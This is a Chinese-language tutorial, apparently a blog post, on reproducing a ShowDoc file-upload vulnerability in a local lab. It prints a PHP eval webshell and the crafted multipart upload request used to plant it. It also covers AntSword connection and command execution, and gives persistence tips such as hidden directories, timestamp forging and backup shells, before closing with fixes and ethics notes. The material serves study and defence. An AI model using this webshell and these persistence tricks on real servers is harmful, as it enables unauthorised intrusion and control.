ShowDoc旧版本文件上传漏洞实战从零构建完整攻击链在Web安全领域漏洞复现是每个初学者必须掌握的实战技能。今天我们将以ShowDoc旧版本CNVD-2020-26585文件上传漏洞为例带你从环境搭建到完整利用构建一条清晰的攻击链路。这个教程特别适合刚入门的安全爱好者所有操作均在本地PHPStudy环境中完成确保学习过程安全合法。1. 环境准备与漏洞背景1.1 工具清单在开始前确保准备好以下工具PHPStudy v8.1集成环境搭建利器ShowDoc v2.8.3存在漏洞的目标版本Burp Suite Community抓包改包必备AntSword蚁剑Webshell连接工具Chrome/Firefox浏览器建议安装HackTools插件注意所有工具请从官网下载避免使用来历不明的破解版本1.2 漏洞原理简析该漏洞源于ShowDoc对文件上传功能的校验不足攻击者可以绕过前端验证直接上传PHP等可执行文件。关键问题出在/index.php?s/home/page/uploadImg接口未对文件内容进行严格检测。# 漏洞影响版本 ShowDoc v2.8.42. PHPStudy环境配置2.1 基础环境搭建安装PHPStudy后启动服务在网站选项卡创建新站点域名showdoc.test根目录选择空文件夹PHP版本7.2与ShowDoc兼容性最佳// 测试PHP是否正常运行 ?php phpinfo(); ?2.2 ShowDoc部署流程下载ShowDoc v2.8.3源码包解压到网站根目录访问http://showdoc.test完成安装创建测试账号并登录提示安装时数据库选择SQLite可简化配置3. 漏洞利用全流程3.1 信息收集阶段首先确认目标版本访问/index.php?s/home/index/version会返回类似{ version: v2.8.3, update_time: 2020-03-15 }3.2 制作恶意文件创建包含以下内容的test.php文件?php eval($_POST[cmd]); ?将其重命名为test.jpg.php绕过基础检测。3.3 Burp Suite拦截修改在ShowDoc中找到任意图片上传点开启Burp拦截Proxy → Intercept on上传修改后的文件拦截请求后修改两个关键点POST /index.php?s/home/page/uploadImg HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameeditormd-image-file; filenametest.php Content-Type: image/jpeg ?php eval($_POST[cmd]); ?3.4 获取Webshell路径成功上传后响应会包含文件路径{ success: 1, message: 上传成功, url: /Public/Uploads/2023-07/64b1a1f3e1234.php }4. 后渗透操作4.1 蚁剑连接配置新建连接填写URL路径密码设置为cmd与Webshell中定义一致连接类型选择PHP连接成功后可以查看服务器信息# 执行系统命令 whoami pwd4.2 权限维持技巧为防止Webshell被意外删除可以创建隐藏目录名称以点开头修改文件时间为系统文件时间戳植入多个备用shell5. 防御方案与修复建议5.1 临时缓解措施如果暂时无法升级可以修改uploadImg接口权限在nginx配置中添加过滤规则location ~* \.php$ { if ($request_filename ~* \.jpg\.php$) { return 403; } }5.2 官方修复方案建议升级到ShowDoc最新版本官方已修复增加文件内容检测限制上传文件类型白名单引入随机文件名生成机制6. 法律与道德边界在本地环境练习时有几个原则必须牢记所有测试必须在自己控制的设备上进行未经授权不得测试任何线上系统学习目的是提升防御能力而非攻击发现他人系统漏洞应通过正规渠道报告这套流程虽然简单但包含了Web安全测试的完整链条。建议在掌握后尝试其他CVE漏洞复现逐步构建自己的知识体系。